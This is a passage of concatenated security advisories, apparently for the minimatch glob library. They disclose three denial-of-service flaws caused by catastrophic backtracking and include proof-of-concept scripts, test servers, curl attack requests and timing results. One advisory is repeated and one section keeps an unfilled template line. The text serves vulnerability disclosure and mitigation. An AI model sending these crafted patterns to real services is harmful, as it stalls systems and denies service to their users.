  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

---

Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)	Pattern size	Time
7	36 bytes	~154ms
9	46 bytes	~1.2s
11	56 bytes	~5.4s
12	61 bytes	~9.7s
13	66 bytes	~15.9s

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

---

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

• File search/filter UIs that accept glob patterns
• .gitignore-style filtering with user-defined rules
• Build tools that accept glob configuration
• Any API that exposes glob matching to untrusted input

---

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.

---

Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern	Generated regex
*(a|b)	/^(?:a|b)*$/
*(*(a|b))	/^(?:(?:a|b)*)*$/
*(*(*(a|b)))	/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))	/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern	Input	Time
*(*(a|b))	a x30 + z	~68,000ms
*(*(*(a|b)))	a x20 + z	~124,000ms
*(*(*(*(a|b))))	a x25 + z	~116,000ms
*(a|a)	a x25 + z	~2,000ms

Depth inflection at fixed input a x16 + z:

Depth	Pattern	Time
1	*(a|b)	0ms
2	*(*(a|b))	4ms
3	*(*(*(a|b)))	270ms
4	*(*(*(*(a|b))))	115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.